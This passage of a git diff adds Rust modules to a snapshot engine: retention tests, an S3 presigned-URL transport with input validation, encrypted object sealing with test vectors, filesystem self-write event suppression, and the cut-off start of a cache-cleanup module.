hasher.update(&checksum); + hasher.update(&payload); + Ok(Some((state, *hasher.finalize().as_bytes(), end))) +} + +fn validate_state(state: &RetentionState) -> anyhow::Result<()> { + let mut previous = 0_u64; + for range in &state.retained { + anyhow::ensure!( + range.first > 0 && range.first <= range.last, + "invalid retained sequence range" + ); + anyhow::ensure!(range.first > previous, "overlapping retained ranges"); + anyhow::ensure!( + range.last <= state.evaluated_through, + "retained range exceeds evaluated history" + ); + previous = range.last; + } + let mut previous_pin = 0_u64; + for pin in &state.pins { + anyhow::ensure!(pin.sequence > previous_pin, "pins are not ordered"); + previous_pin = pin.sequence; + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::model::SnapshotTrigger; + + fn append(log: &RefLog, sequence: u64, sealed_at: i64) -> ObjectId { + let id = blake3::hash(&sequence.to_le_bytes()).into(); + log.append(id, sealed_at, None, SnapshotTrigger::Manual) + .unwrap(); + id + } + + #[test] + fn six_month_plan_keeps_dense_recent_and_thins_old_history() { + let temp = tempfile::tempdir().unwrap(); + let refs = RefLog::open(temp.path(), "workspace").unwrap(); + let now = 200 * DAY; + let interval = 6 * HOUR; + let first = now - 180 * DAY; + let count = 180 * DAY / interval; + for sequence in 0..=count { + append(&refs, sequence as u64 + 1, first + sequence * interval); + } + + let state = RetentionLog::open(temp.path(), "workspace") + .unwrap() + .plan(&refs, now) + .unwrap(); + assert_eq!(state.evaluated_through, count as u64 + 1); + assert!(state.retained_count_through() < 300); + assert!(state.retains(state.evaluated_through, &[0; 32])); + let recent_start = state.evaluated_through - (DAY / interval) as u64; + for sequence in recent_start..=state.evaluated_through { + assert!(state.retains(sequence, &[0; 32])); + } + } + + #[test] + fn pin_survives_thinning_and_torn_control_tail() { + let temp = tempfile::tempdir().unwrap(); + let refs = RefLog::open(temp.path(), "workspace").unwrap(); + let old = append(&refs, 1, 0); + append(&refs, 2, WEEK); + let retention = RetentionLog::open(temp.path(), "workspace").unwrap(); + assert!(retention.pin(&refs, old).unwrap()); + let applied = retention.apply(&refs, 200 * DAY).unwrap(); + assert!(applied.is_pinned(&old)); + let valid_len = fs::metadata(&retention.path).unwrap().len(); + OpenOptions::new() + .append(true) + .open(&retention.path) + .unwrap() + .write_all(b"AG") + .unwrap(); + let recovered = retention.state().unwrap(); + assert!(recovered.is_pinned(&old)); + assert_eq!(fs::metadata(&retention.path).unwrap().len(), valid_len); + } +} diff --git a/engine/furrow-core/src/s3_remote.rs b/engine/furrow-core/src/s3_remote.rs new file mode 100644 index 0000000000..573b1fcb1c --- /dev/null +++ b/engine/furrow-core/src/s3_remote.rs @@ -0,0 +1,367 @@ +//! Small, command-scoped S3-compatible transport using SigV4 presigned URLs. + +use anyhow::Context; +use rusty_s3::actions::{GetObject, HeadObject, PutObject}; +use rusty_s3::{Bucket, Credentials, S3Action, UrlStyle}; +use serde::{Deserialize, Serialize}; +use std::time::Duration; +use url::Url; + +const SIGNED_URL_TTL: Duration = Duration::from_secs(5 * 60); +const REQUEST_TIMEOUT: Duration = Duration::from_secs(60); + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct S3Spec { + pub bucket: String, + #[serde(default, skip_serializing_if = "String::is_empty")] + pub prefix: String, + pub endpoint: String, + pub region: String, + pub path_style: bool, +} + +impl S3Spec { + pub fn from_uri(value: &str) -> anyhow::Result { + let raw = value + .strip_prefix("s3://") + .context("S3 remote must use s3://")?; + if let Some((_, raw_path)) = raw.split_once('/') { + validate_prefix(raw_path.trim_matches('/'))?; + } + let uri = Url::parse(value).context("invalid S3 remote URI")?; + anyhow::ensure!(uri.scheme() == "s3", "S3 remote must use s3://"); + anyhow::ensure!( + uri.username().is_empty() + && uri.password().is_none() + && uri.port().is_none() + && uri.query().is_none() + && uri.fragment().is_none(), + "S3 remote URI must not contain credentials, port, query, or fragment" + ); + let bucket = uri.host_str().context("S3 remote is missing a bucket")?; + validate_bucket(bucket)?; + let prefix = uri.path().trim_matches('/').to_owned(); + validate_prefix(&prefix)?; + let region = std::env::var("AWS_REGION") + .or_else(|_| std::env::var("AWS_DEFAULT_REGION")) + .unwrap_or_else(|_| "us-east-1".to_owned()); + anyhow::ensure!(!region.trim().is_empty(), "S3 region cannot be empty"); + let custom_endpoint = std::env::var("FURROW_S3_ENDPOINT").ok(); + let endpoint = custom_endpoint + .clone() + .unwrap_or_else(|| format!("https://s3.{region}.amazonaws.com")); + let endpoint_url = Url::parse(&endpoint).context("invalid FURROW_S3_ENDPOINT")?; + anyhow::ensure!( + matches!(endpoint_url.scheme(), "http" | "https"), + "S3 endpoint must use http or https" + ); + if endpoint_url.scheme() == "http" { + anyhow::ensure!( + std::env::var("FURROW_S3_ALLOW_HTTP").as_deref() == Ok("1"), + "plain HTTP S3 endpoint requires FURROW_S3_ALLOW_HTTP=1" + ); + } + let path_style = match std::env::var("FURROW_S3_PATH_STYLE").as_deref() { + Ok("1" | "true") => true, + Ok("0" | "false") => false, + Ok(_) => anyhow::bail!("FURROW_S3_PATH_STYLE must be true or false"), + Err(_) => custom_endpoint.is_some(), + }; + Ok(Self { + bucket: bucket.to_owned(), + prefix, + endpoint, + region, + path_style, + }) + } + + pub fn validate(&self) -> anyhow::Result<()> { + validate_bucket(&self.bucket)?; + validate_prefix(&self.prefix)?; + let endpoint = Url::parse(&self.endpoint).context("invalid S3 endpoint")?; + anyhow::ensure!( + matches!(endpoint.scheme(), "http" | "https") && endpoint.host_str().is_some(), + "invalid S3 endpoint" + ); + anyhow::ensure!(!self.region.trim().is_empty(), "S3 region cannot be empty"); + Ok(()) + } + + pub fn display(&self) -> String { + if self.prefix.is_empty() { + format!("s3://{}", self.bucket) + } else { + format!("s3://{}/{}", self.bucket, self.prefix) + } + } +} + +pub(crate) struct S3Session { + bucket: Bucket, + credentials: Credentials, + agent: ureq::Agent, + prefix: String, + writer: bool, + expected_head_etag: Option>, + head_key: Option, +} + +impl S3Session { + pub fn open(spec: &S3Spec, namespace: &str) -> anyhow::Result { + spec.validate()?; + let credentials = Credentials::from_env().context( + "S3 credentials are missing; set AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY", + )?; + let endpoint = Url::parse(&spec.endpoint)?; + let style = if spec.path_style { + UrlStyle::Path + } else { + UrlStyle::VirtualHost + }; + let bucket = Bucket::new(endpoint, style, spec.bucket.clone(), spec.region.clone()) + .map_err(|error| anyhow::anyhow!("configure S3 bucket: {error:?}"))?; + let prefix = if spec.prefix.is_empty() { + namespace.to_owned() + } else { + format!("{}/{namespace}", spec.prefix) + }; + let agent: ureq::Agent = ureq::Agent::config_builder() + .timeout_global(Some(REQUEST_TIMEOUT)) + .max_redirects(0) + .build() + .into(); + Ok(Self { + bucket, + credentials, + agent, + prefix, + writer: false, + expected_head_etag: None, + head_key: None, + }) + } + + pub fn begin_writer(&mut self, head_key: &str) -> anyhow::Result<()> { + anyhow::ensure!(!self.writer, "remote writer session is already active"); + self.expected_head_etag = Some(self.head(head_key)?); + self.head_key = Some(head_key.to_owned()); + self.writer = true; + Ok(()) + } + + pub fn end_writer(&mut self) { + self.writer = false; + self.expected_head_etag = None; + self.head_key = None; + } + + pub fn exists(&self, key: &str) -> anyhow::Result { + Ok(self.head(key)?.is_some()) + } + + pub fn read(&self, key: &str, limit: u64) -> anyhow::Result> { + let object = self.object_key(key); + let action = GetObject::new(&self.bucket, Some(&self.credentials), &object); + let url = action.sign(SIGNED_URL_TTL); + let mut response = self + .agent + .get(url.as_str()) + .call() + .map_err(|error| map_error(error, key))?; + if let Some(length) = response + .headers() + .get("content-length") + .and_then(|value| value.to_str().ok()) + .and_then(|value| value.parse::().ok()) + { + anyhow::ensure!(length <= limit, "remote value exceeds its size limit"); + } + response + .body_mut() + .with_config() + .limit(limit) + .read_to_vec() + .map_err(|error| anyhow::anyhow!("read S3 object {key}: {error}")) + } + + pub fn write(&mut self, key: &str, bytes: &[u8]) -> anyhow::Result<()> { + anyhow::ensure!(self.writer, "remote write requires a writer session"); + if key.starts_with("objects/") { + return match self.put(key, bytes, PutCondition::Create) { + Ok(_) | Err(PutError::AlreadyExists) => Ok(()), + Err(error) => Err(error.into_anyhow(key)), + }; + } + if Some(key) == self.head_key.as_deref() { + let condition = match self + .expected_head_etag + .as_ref() + .context("S3 writer has no expected HEAD state")? + { + Some(etag) => PutCondition::Match(etag), + None => PutCondition::Create, + }; + let etag = self + .put(key, bytes, condition) + .map_err(|error| error.into_anyhow(key))?; + self.expected_head_etag = Some(Some(etag)); + return Ok(()); + } + self.put(key, bytes, PutCondition::Any) + .map(|_| ()) + .map_err(|error| error.into_anyhow(key)) + } + + pub fn has_objects(&self, ids: &[crate::model::ObjectId]) -> anyhow::Result> { + ids.iter() + .map(|id| self.exists(&crate::remote::object_key(id))) + .collect() + } + + fn head(&self, key: &str) -> anyhow::Result> { + let object = self.object_key(key); + let action = HeadObject::new(&self.bucket, Some(&self.credentials), &object); + let url = action.sign(SIGNED_URL_TTL); + match self.agent.head(url.as_str()).call() { + Ok(response) => Ok(Some( + response + .headers() + .get("etag") + .and_then(|value| value.to_str().ok()) + .context("S3 response is missing ETag")? + .to_owned(), + )), + Err(ureq::Error::StatusCode(404)) => Ok(None), + Err(error) => Err(map_error(error, key)), + } + } + + fn put( + &self, + key: &str, + bytes: &[u8], + condition: PutCondition<'_>, + ) -> Result { + let object = self.object_key(key); + let mut action = PutObject::new(&self.bucket, Some(&self.credentials), &object); + let header = match condition { + PutCondition::Any => None, + PutCondition::Create => Some(("if-none-match", "*")), + PutCondition::Match(etag) => Some(("if-match", etag)), + }; + if let Some((name, value)) = header { + action.headers_mut().insert(name, value); + } + let url = action.sign(SIGNED_URL_TTL); + let mut request = self.agent.put(url.as_str()); + if let Some((name, value)) = header { + request = request.header(name, value); + } + match request.send(bytes) { + Ok(response) => Ok(response + .headers() + .get("etag") + .and_then(|value| value.to_str().ok()) + .unwrap_or_default() + .to_owned()), + Err(ureq::Error::StatusCode(409 | 412)) + if matches!(condition, PutCondition::Create) => + { + Err(PutError::AlreadyExists) + } + Err(ureq::Error::StatusCode(409 | 412)) => Err(PutError::PreconditionFailed), + Err(error) => Err(PutError::Transport(error.to_string())), + } + } + + fn object_key(&self, key: &str) -> String { + format!("{}/{key}", self.prefix) + } +} + +#[derive(Clone, Copy)] +enum PutCondition<'a> { + Any, + Create, + Match(&'a str), +} + +enum PutError { + AlreadyExists, + PreconditionFailed, + Transport(String), +} + +impl PutError { + fn into_anyhow(self, key: &str) -> anyhow::Error { + match self { + Self::AlreadyExists => anyhow::anyhow!("S3 object already exists: {key}"), + Self::PreconditionFailed => anyhow::anyhow!( + "S3 remote advanced concurrently while publishing {key}; pull before retrying" + ), + Self::Transport(message) => anyhow::anyhow!("write S3 object {key}: {message}"), + } + } +} + +fn map_error(error: ureq::Error, key: &str) -> anyhow::Error { + match error { + ureq::Error::StatusCode(401) => anyhow::anyhow!("S3 credentials were rejected"), + ureq::Error::StatusCode(403) => anyhow::anyhow!("S3 access was forbidden for {key}"), + ureq::Error::StatusCode(404) => anyhow::anyhow!("S3 object was not found: {key}"), + ureq::Error::StatusCode(status) => { + anyhow::anyhow!("S3 request for {key} failed with HTTP {status}") + } + other => anyhow::anyhow!("S3 request for {key} failed: {other}"), + } +} + +fn validate_bucket(bucket: &str) -> anyhow::Result<()> { + anyhow::ensure!( + (3..=255).contains(&bucket.len()) + && !bucket.starts_with('.') + && !bucket.ends_with('.') + && bucket + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'.' | b'-')), + "invalid S3 bucket name" + ); + Ok(()) +} + +fn validate_prefix(prefix: &str) -> anyhow::Result<()> { + anyhow::ensure!(prefix.len() <= 768, "S3 prefix is too long"); + anyhow::ensure!( + prefix + .split('/') + .all(|part| !matches!(part, "." | "..") && !part.is_empty()) + || prefix.is_empty(), + "S3 prefix contains an unsafe path component" + ); + anyhow::ensure!( + prefix + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'/' | b'.' | b'-' | b'_')), + "S3 prefix contains unsupported characters" + ); + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parses_provider_neutral_s3_uris_without_credentials() { + std::env::remove_var("FURROW_S3_ENDPOINT"); + std::env::remove_var("FURROW_S3_PATH_STYLE"); + let spec = S3Spec::from_uri("s3://my-bucket/furrow/workspaces").unwrap(); + assert_eq!(spec.bucket, "my-bucket"); + assert_eq!(spec.prefix, "furrow/workspaces"); + assert_eq!(spec.display(), "s3://my-bucket/furrow/workspaces"); + assert!(!spec.path_style); + assert!(S3Spec::from_uri("s3://key:secret@bucket/path").is_err()); + assert!(S3Spec::from_uri("s3://bucket/a/../b").is_err()); + } +} diff --git a/engine/furrow-core/src/sealer.rs b/engine/furrow-core/src/sealer.rs new file mode 100644 index 0000000000..1340be63ed --- /dev/null +++ b/engine/furrow-core/src/sealer.rs @@ -0,0 +1,364 @@ +//! Stage 1 sealing: one `Sealer` per identity, with a scheme per object kind. +//! +//! Structure objects (blob, tree, snapshot, xattrs) are sealed under the cell key. +//! Chunks are sealed convergently: id, key and nonce all derive from the dedup +//! secret, so one identity stores a chunk once and no other identity can open it. + +use crate::model::{ObjectId, ObjectKind}; +use crate::remote_crypto::RemoteCrypto; +use crate::store::object_id; +use zeroize::{Zeroize, Zeroizing}; + +const NONCE_LEN: usize = 24; +const CHUNK_RID: &[u8] = b"codeaf:chunk-rid:v1\0"; +const CHUNK_KEY: &[u8] = b"codeaf:chunk-key:v1\0"; +const CHUNK_NONCE: &[u8] = b"codeaf:chunk-nonce:v1\0"; + +/// The two secrets of one identity. +pub struct Keys { + pub cell_key: [u8; 32], + pub dedup: [u8; 32], +} + +impl Drop for Keys { + fn drop(&mut self) { + self.cell_key.zeroize(); + self.dedup.zeroize(); + } +} + +pub trait Sealer { + fn remote_id(&self, kind: ObjectKind, id: &ObjectId) -> ObjectId; + fn seal( + &self, + kind: ObjectKind, + id: &ObjectId, + bytes: &[u8], + ) -> anyhow::Result<(ObjectId, Vec)>; + /// Opens `sealed`, verifying that `rid` names `id` and that the bytes hash to `id`. + fn open( + &self, + kind: ObjectKind, + id: &ObjectId, + rid: &ObjectId, + sealed: &[u8], + ) -> anyhow::Result>; +} + +/// How one object is identified, keyed and nonced on the remote. +trait Scheme { + fn crypto(&self) -> &RemoteCrypto; + fn remote_id(&self) -> ObjectId; + fn nonce(&self) -> [u8; NONCE_LEN]; +} + +struct Structure<'a> { + cell: &'a RemoteCrypto, + id: &'a ObjectId, +} + +impl Scheme for Structure<'_> { + fn crypto(&self) -> &RemoteCrypto { + self.cell + } + fn remote_id(&self) -> ObjectId { + self.cell.remote_id(self.id) + } + fn nonce(&self) -> [u8; NONCE_LEN] { + self.cell.object_nonce(self.id) + } +} + +struct Convergent<'a> { + dedup: &'a [u8; 32], + id: &'a ObjectId, + crypto: RemoteCrypto, +} + +impl<'a> Convergent<'a> { + fn new(dedup: &'a [u8; 32], id: &'a ObjectId) -> Self { + let key = Zeroizing::new(keyed(dedup, CHUNK_KEY, id)); + Self { + dedup, + id, + crypto: RemoteCrypto::new(*key), + } + } +} + +impl Scheme for Convergent<'_> { + fn crypto(&self) -> &RemoteCrypto { + &self.crypto + } + fn remote_id(&self) -> ObjectId { + keyed(self.dedup, CHUNK_RID, self.id) + } + fn nonce(&self) -> [u8; NONCE_LEN] { + let key = keyed(self.dedup, CHUNK_KEY, self.id); + let mut nonce = [0; NONCE_LEN]; + keyed_xof(&key, CHUNK_NONCE, &[], &mut nonce); + nonce + } +} + +fn keyed(key: &[u8; 32], domain: &[u8], id: &ObjectId) -> [u8; 32] { + let mut out = [0; 32]; + keyed_xof(key, domain, id, &mut out); + out +} + +fn keyed_xof(key: &[u8; 32], domain: &[u8], id: &[u8], out: &mut [u8]) { + let mut hasher = blake3::Hasher::new_keyed(key); + hasher.update(domain); + hasher.update(id); + hasher.finalize_xof().fill(out); +} + +pub struct CellSealer { + cell: RemoteCrypto, + dedup: Zeroizing<[u8; 32]>, +} + +impl CellSealer { + pub fn new(keys: &Keys) -> Self { + Self { + cell: RemoteCrypto::new(keys.cell_key), + dedup: Zeroizing::new(keys.dedup), + } + } + + fn scheme<'a>(&'a self, kind: ObjectKind, id: &'a ObjectId) -> Box { + match kind { + ObjectKind::Chunk => Box::new(Convergent::new(&self.dedup, id)), + _ => Box::new(Structure { + cell: &self.cell, + id, + }), + } + } +} + +impl Sealer for CellSealer { + fn remote_id(&self, kind: ObjectKind, id: &ObjectId) -> ObjectId { + self.scheme(kind, id).remote_id() + } + + fn seal( + &self, + kind: ObjectKind, + id: &ObjectId, + bytes: &[u8], + ) -> anyhow::Result<(ObjectId, Vec)> { + anyhow::ensure!( + object_id(kind, bytes) == *id, + "object ID does not match bytes" + ); + let scheme = self.scheme(kind, id); + let rid = scheme.remote_id(); + let sealed = scheme + .crypto() + .seal_with(&rid, &scheme.nonce(), id, kind, bytes)?; + Ok((rid, sealed)) + } + + fn open( + &self, + kind: ObjectKind, + id: &ObjectId, + rid: &ObjectId, + sealed: &[u8], + ) -> anyhow::Result> { + let scheme = self.scheme(kind, id); + anyhow::ensure!(scheme.remote_id() == *rid, "remote id does not name object"); + let (opened, bytes) = scheme + .crypto() + .open_with(rid, &scheme.nonce(), id, sealed)?; + anyhow::ensure!(opened == kind, "object kind mismatch"); + Ok(bytes) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::{json, Value}; + use std::path::PathBuf; + + const MAGIC: &[u8] = b"AGEO\x01"; + + fn keys(cell: u8, dedup: u8) -> Keys { + Keys { + cell_key: [cell; 32], + dedup: [dedup; 32], + } + } + + fn sealer(cell: u8, dedup: u8) -> CellSealer { + CellSealer::new(&keys(cell, dedup)) + } + + fn sealed(s: &CellSealer, kind: ObjectKind, bytes: &[u8]) -> (ObjectId, ObjectId, Vec) { + let id = object_id(kind, bytes); + let (rid, blob) = s.seal(kind, &id, bytes).unwrap(); + (id, rid, blob) + } + + #[test] + fn same_chunk_same_identity_is_one_rid() { + let s = sealer(1, 2); + let (_, first, blob) = sealed(&s, ObjectKind::Chunk, b"chunk bytes"); + let (_, second, again) = sealed(&sealer(9, 2), ObjectKind::Chunk, b"chunk bytes"); + assert_eq!(first, second); + assert_eq!(blob, again); + } + + #[test] + fn same_chunk_two_identities_cannot_open_each_other() { + let (mine, theirs) = (sealer(1, 2), sealer(1, 3)); + let (id, rid, blob) = sealed(&mine, ObjectKind::Chunk, b"chunk bytes"); + let (_, other_rid, _) = sealed(&theirs, ObjectKind::Chunk, b"chunk bytes"); + assert_ne!(rid, other_rid); + assert!(theirs.open(ObjectKind::Chunk, &id, &rid, &blob).is_err()); + assert!(theirs + .open(ObjectKind::Chunk, &id, &other_rid, &blob) + .is_err()); + } + + #[test] + fn every_kind_round_trips_with_the_object_magic() { + let s = sealer(1, 2); + for kind in [ + ObjectKind::Chunk, + ObjectKind::Blob, + ObjectKind::Tree, + ObjectKind::Snapshot, + ObjectKind::Xattrs, + ] { + let (id, rid, blob) = sealed(&s, kind, b"payload"); + assert!(blob.starts_with(MAGIC)); + assert_eq!(s.remote_id(kind, &id), rid); + assert_eq!(s.open(kind, &id, &rid, &blob).unwrap(), b"payload"); + } + } + + #[test] + fn structure_objects_match_the_remote_crypto_framing() { + let s = sealer(1, 2); + let (id, rid, blob) = sealed(&s, ObjectKind::Tree, b"tree bytes"); + let cell = RemoteCrypto::new([1; 32]); + assert_eq!(rid, cell.remote_id(&id)); + assert_eq!( + blob, + cell.encrypt_object(&id, ObjectKind::Tree, b"tree bytes") + .unwrap() + ); + } + + #[test] + fn wrong_key_fails() { + let (id, rid, blob) = sealed(&sealer(1, 2), ObjectKind::Tree, b"tree bytes"); + assert!(sealer(4, 2) + .open(ObjectKind::Tree, &id, &rid, &blob) + .is_err()); + } + + #[test] + fn tampered_byte_fails() { + let s = sealer(1, 2); + for kind in [ObjectKind::Chunk, ObjectKind::Tree] { + let (id, rid, mut blob) = sealed(&s, kind, b"payload"); + *blob.last_mut().unwrap() ^= 1; + assert!(s.open(kind, &id, &rid, &blob).is_err()); + } + } + + #[test] + fn swapped_rid_or_id_fails() { + let s = sealer(1, 2); + let (id, rid, blob) = sealed(&s, ObjectKind::Chunk, b"one"); + let (other_id, other_rid, _) = sealed(&s, ObjectKind::Chunk, b"two"); + assert!(s.open(ObjectKind::Chunk, &id, &other_rid, &blob).is_err()); + assert!(s.open(ObjectKind::Chunk, &other_id, &rid, &blob).is_err()); + } + + #[test] + fn wrong_kind_fails() { + let s = sealer(1, 2); + let (id, rid, blob) = sealed(&s, ObjectKind::Blob, b"payload"); + assert!(s.open(ObjectKind::Tree, &id, &rid, &blob).is_err()); + } + + #[test] + fn seal_refuses_bytes_that_do_not_hash_to_the_id() { + assert!(sealer(1, 2) + .seal(ObjectKind::Chunk, &[0; 32], b"payload") + .is_err()); + } + + fn vectors_path() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../testdata/stage1-vectors.json") + } + + fn case(s: &CellSealer, name: &str, kind: ObjectKind, bytes: &[u8]) -> Value { + let (id, rid, blob) = sealed(s, kind, bytes); + json!({ + "kind": name, + "id": hex::encode(id), + "plaintext_hex": hex::encode(bytes), + "rid": hex::encode(rid), + "sealed_hex": hex::encode(blob), + }) + } + + fn vector_file() -> Value { + let k = Keys { + cell_key: [0x11; 32], + dedup: [0x22; 32], + }; + let s = CellSealer::new(&k); + json!({ + "V": 1, + "cell_key": hex::encode(k.cell_key), + "dedup": hex::encode(k.dedup), + "cases": [ + case(&s, "chunk", ObjectKind::Chunk, b"stage one chunk vector"), + case(&s, "tree", ObjectKind::Tree, b"stage one tree vector"), + ], + }) + } + + #[test] + #[ignore = "rewrites testdata/stage1-vectors.json"] + fn regenerate_vectors() { + let text = serde_json::to_string_pretty(&vector_file()).unwrap(); + std::fs::write(vectors_path(), text + "\n").unwrap(); + } + + fn unhex(v: &Value) -> [u8; N] { + hex::decode(v.as_str().unwrap()) + .unwrap() + .try_into() + .unwrap() + } + + #[test] + fn pinned_vectors_are_reproduced_and_open() { + let file: Value = serde_json::from_slice(&std::fs::read(vectors_path()).unwrap()).unwrap(); + assert_eq!(file["V"], 1); + let s = CellSealer::new(&Keys { + cell_key: unhex(&file["cell_key"]), + dedup: unhex(&file["dedup"]), + }); + let kinds = [("chunk", ObjectKind::Chunk), ("tree", ObjectKind::Tree)]; + let cases = file["cases"].as_array().unwrap(); + assert_eq!(cases.len(), kinds.len()); + for (c, (name, kind)) in cases.iter().zip(kinds) { + assert_eq!(c["kind"], name); + let (id, rid): (ObjectId, ObjectId) = (unhex(&c["id"]), unhex(&c["rid"])); + let plain = hex::decode(c["plaintext_hex"].as_str().unwrap()).unwrap(); + let want = hex::decode(c["sealed_hex"].as_str().unwrap()).unwrap(); + assert_eq!(s.seal(kind, &id, &plain).unwrap(), (rid, want.clone())); + assert_eq!(s.open(kind, &id, &rid, &want).unwrap(), plain); + } + } +} diff --git a/engine/furrow-core/src/self_write.rs b/engine/furrow-core/src/self_write.rs new file mode 100644 index 0000000000..0008e425c1 --- /dev/null +++ b/engine/furrow-core/src/self_write.rs @@ -0,0 +1,236 @@ +//! Cross-process suppression of filesystem events produced by snapshot apply. + +use anyhow::Context; +use serde::{Deserialize, Serialize}; +use std::collections::{BTreeMap, BTreeSet}; +use std::fs; +use std::os::unix::ffi::OsStrExt; +use std::os::unix::fs::MetadataExt; +use std::path::{Path, PathBuf}; + +const ACTIVE_FILE: &str = "apply-active.json"; +const BASELINE_FILE: &str = "apply-baseline.json"; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum FilterResult { + Ready, + ApplyActive, +} + +#[derive(Serialize, Deserialize)] +struct ActiveApply { + pid: u32, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +struct FileIdentity { + size: u64, + mtime_secs: i64, + mtime_nanos: i64, + inode: u64, +} + +#[derive(Serialize, Deserialize)] +struct BaselineEntry { + #[serde(with = "serde_bytes")] + path: Vec, + identity: Option, +} + +/// Marks an apply before its first workspace mutation. Finishing the guard +/// records post-write identities without reading file contents. +pub struct ApplyGuard { + state_dir: PathBuf, + root: PathBuf, + paths: Vec, + finished: bool, +} + +impl ApplyGuard { + pub fn begin( + state_dir: &Path, + root: &Path, + paths: impl IntoIterator, + ) -> anyhow::Result { + fs::create_dir_all(state_dir)?; + atomic_write( + &state_dir.join(ACTIVE_FILE), + &serde_json::to_vec(&ActiveApply { + pid: std::process::id(), + })?, + )?; + Ok(Self { + state_dir: state_dir.to_owned(), + root: root.to_owned(), + paths: paths.into_iter().collect(), + finished: false, + }) + } + + pub fn finish(mut self) -> anyhow::Result<()> { + let mut entries = Vec::with_capacity(self.paths.len()); + for path in &self.paths { + let relative = if path.is_absolute() { + path.strip_prefix(&self.root).with_context(|| { + format!("applied path is outside workspace: {}", path.display()) + })? + } else { + path.as_path() + }; + entries.push(BaselineEntry { + path: relative.as_os_str().as_bytes().to_vec(), + identity: identity(&self.root.join(relative))?, + }); + } + atomic_write( + &self.state_dir.join(BASELINE_FILE), + &serde_json::to_vec(&entries)?, + )?; + remove_if_exists(&self.state_dir.join(ACTIVE_FILE))?; + self.finished = true; + Ok(()) + } +} + +impl Drop for ApplyGuard { + fn drop(&mut self) { + if !self.finished { + let _ = remove_if_exists(&self.state_dir.join(ACTIVE_FILE)); + } + } +} + +/// Removes events that exactly match the baseline installed by the applier. +/// Events remain queued while a live apply is active, closing the race between +/// native notification delivery and post-write baseline installation. +pub fn filter_events( + state_dir: &Path, + root: &Path, + paths: &mut BTreeSet, +) -> anyhow::Result { + let active_path = state_dir.join(ACTIVE_FILE); + if active_path.exists() { + let active: ActiveApply = serde_json::from_slice(&fs::read(&active_path)?)?; + if process_alive(active.pid) { + return Ok(FilterResult::ApplyActive); + } + remove_if_exists(&active_path)?; + } + + let baseline_path = state_dir.join(BASELINE_FILE); + let entries: Vec = match fs::read(&baseline_path) { + Ok(bytes) => serde_json::from_slice(&bytes).context("decode apply watcher baseline")?, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + return Ok(FilterResult::Ready) + } + Err(error) => return Err(error.into()), + }; + let baseline: BTreeMap<_, _> = entries + .into_iter() + .map(|entry| (entry.path, entry.identity)) + .collect(); + paths.retain(|path| { + let relative = if path.is_absolute() { + match path.strip_prefix(root) { + Ok(path) => path, + Err(_) => return true, + } + } else { + path.as_path() + }; + let key = relative.as_os_str().as_bytes(); + match baseline.get(key) { + Some(expected) => identity(&root.join(relative)).as_ref().ok() != Some(expected), + None => true, + } + }); + Ok(FilterResult::Ready) +} + +fn identity(path: &Path) -> anyhow::Result> { + match fs::symlink_metadata(path) { + Ok(metadata) => Ok(Some(FileIdentity { + size: metadata.len(), + mtime_secs: metadata.mtime(), + mtime_nanos: metadata.mtime_nsec(), + inode: metadata.ino(), + })), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => Ok(None), + Err(error) => Err(error.into()), + } +} + +fn process_alive(pid: u32) -> bool { + let result = unsafe { libc::kill(pid as i32, 0) }; + result == 0 || std::io::Error::last_os_error().raw_os_error() == Some(libc::EPERM) +} + +fn remove_if_exists(path: &Path) -> anyhow::Result<()> { + match fs::remove_file(path) { + Ok(()) => Ok(()), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => Ok(()), + Err(error) => Err(error.into()), + } +} + +fn atomic_write(path: &Path, bytes: &[u8]) -> anyhow::Result<()> { + let parent = path.parent().context("self-write state has no parent")?; + let mut temporary = tempfile::NamedTempFile::new_in(parent)?; + use std::io::Write; + temporary.write_all(bytes)?; + temporary.persist(path).map_err(|error| error.error)?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn suppresses_only_unchanged_applier_paths() { + let temporary = tempfile::tempdir().unwrap(); + let root = temporary.path().join("root"); + let state = temporary.path().join("state"); + fs::create_dir(&root).unwrap(); + fs::write(root.join("applied"), b"incoming").unwrap(); + fs::write(root.join("user"), b"local").unwrap(); + + ApplyGuard::begin(&state, &root, [PathBuf::from("applied")]) + .unwrap() + .finish() + .unwrap(); + let mut events = BTreeSet::from([root.join("applied"), root.join("user")]); + assert_eq!( + filter_events(&state, &root, &mut events).unwrap(), + FilterResult::Ready + ); + assert_eq!(events, BTreeSet::from([root.join("user")])); + + fs::write(root.join("applied"), b"user changed this afterward").unwrap(); + events.insert(root.join("applied")); + filter_events(&state, &root, &mut events).unwrap(); + assert!(events.contains(&root.join("applied"))); + } + + #[test] + fn defers_events_until_apply_finishes_and_handles_removal() { + let temporary = tempfile::tempdir().unwrap(); + let root = temporary.path().join("root"); + let state = temporary.path().join("state"); + fs::create_dir(&root).unwrap(); + fs::write(root.join("removed"), b"old").unwrap(); + let guard = ApplyGuard::begin(&state, &root, [PathBuf::from("removed")]).unwrap(); + fs::remove_file(root.join("removed")).unwrap(); + let mut events = BTreeSet::from([root.join("removed")]); + assert_eq!( + filter_events(&state, &root, &mut events).unwrap(), + FilterResult::ApplyActive + ); + guard.finish().unwrap(); + assert_eq!( + filter_events(&state, &root, &mut events).unwrap(), + FilterResult::Ready + ); + assert!(events.is_empty()); + } +} diff --git a/engine/furrow-core/src/shrink.rs b/engine/furrow-core/src/shrink.rs new file mode 100644 index 0000000000..f1a07bb837 --- /dev/null +++ b/engine/furrow-core/src/shrink.rs @@ -0,0 +1,326 @@ +//! Streaming discovery and removal of regenerable workspace caches. + +use crate::policy::CapturePolicy; +use anyhow::Context; +use serde::Serialize; +use std::ffi::OsStr; +use std::fs::{self, ReadDir}; +use std::os::unix::ffi::OsStrExt; +use std::os::unix::fs::MetadataExt; +use std::path::{Component, Path, PathBuf}; + +const MAX_CANDIDATES: usize = 10_000; +const 